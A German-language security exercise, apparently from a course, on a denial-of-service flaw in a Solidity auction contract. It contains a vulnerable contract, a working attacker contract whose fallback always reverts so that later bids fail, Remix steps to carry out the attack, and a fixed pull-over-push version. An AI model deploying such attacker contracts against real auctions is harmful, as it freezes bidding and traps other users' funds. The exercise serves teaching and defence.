DoS
Gegeben ist folgender Smart Contract. Versuchen Sie zu verhindern, dass ein nachfolgender Nutzer ein höheres Gebot als Sie abgeben kann. Das Beispiel wurde von Consensys übernommen: https://consensys.github.io/smart-contract-best-practices/known_attacks/#dos-with-unexpected-revert
pragma solidity ^0.8.26;
contract Auction {
address payable public currentLeader;
uint public highestBid;
function bid() payable public {
require(msg.value > highestBid);
require(currentLeader.send(highestBid)); // Refund the old leader, if it fails then revert
currentLeader = payable(msg.sender);
highestBid = msg.value;
}
}
Code siehe Datei 05_DoS_Vulnerable.sol.
Lösung
Eine mögliche Schwachstelle ergibt sich beim Senden von Ether durch einen Smart Contract an einen anderen Smart Contract. Der empfangende Smart Contract könnte:
- eine Fallback-Funktion haben, die ständig eine Exception wirft
- zu wenig Gas bekommen und daher eine Exception werfen
Wir nutzen hier die erste Variante. Diese finden Sie auch in folgender Datei: 05_DoS_Exploit.sol.
contract DoSAttacker{
address payable vAdress = payable(0x358AA13c52544ECCEF6B0ADD0f801012ADAD5eE3); // Adresse des anzugreifenden Smart Contracts eintragen.
uint256 public amount = 600;
constructor() payable{
}
function makeBid() public{
vAdress.call{value: amount}(abi.encodeWithSignature("bid()"));
}
fallback() external payable {
revert();
}
}
Die Fallback-Funktion wirft mit revert() bei jedem Aufruf eine Exception.
- Kopieren Sie den Code in eine neue Datei der Remix-IDE
- Tragen Sie die Adresse des Opfer-Contracts ein.
- Deployen Sie den Angreifer-Smart Contract und geben Sie etwas Guthaben mit (>=600 wei)
- Rufen Sie die Funktion bid im Angreifer Smart Contract auf.
- Prüfen Sie, im Opfer-Contract, ob das Gebot richtig erfasst wurde
- Führen Sie nun von einem EOA ein höheres Gebot aus. Es sollte eine Fehlermeldung in der Debug-Konsole erscheinen. Das höchste Gebot und die Adresse des höchsten Bieters sollten sich nich geändert haben.
Schutz
- Traue niemals externem Code!
- Pull statt Push!
- Der DoS-sichere Contract sieht so aus. Diesen finden Sie auch in folgender Datei: 05_DoS_Schutz.sol
pragma solidity ^0.8.26;
contract DoS_Save {
// Nutz das Pull over Push pattern
mapping(address => uint) public allowances;
address payable public currentLeader;
uint public highestBid;
function bid() payable public { // Setzt nur den neuen Höchstbietenden + Betrag des höchsten Gebots
require(msg.value > highestBid);
allowWithdraw(currentLeader, highestBid);
currentLeader = payable(msg.sender);
highestBid = msg.value;
}
function allowWithdraw(address receiver, uint amount) private {
allowances[receiver] += amount;
}
function withdrawFunds() public {
// Check Effect Interaction Pattern siehe Re-Entrancy
uint amount = allowances[msg.sender];
// Check
require(amount != 0);
require(address(this).balance >= amount);
// Effect
allowances[msg.sender] = 0;
// Interaction
payable(msg.sender).transfer(amount);
}
}
Probieren Sie es aus. Der DoS-Save contract lässt sich nicht blockieren.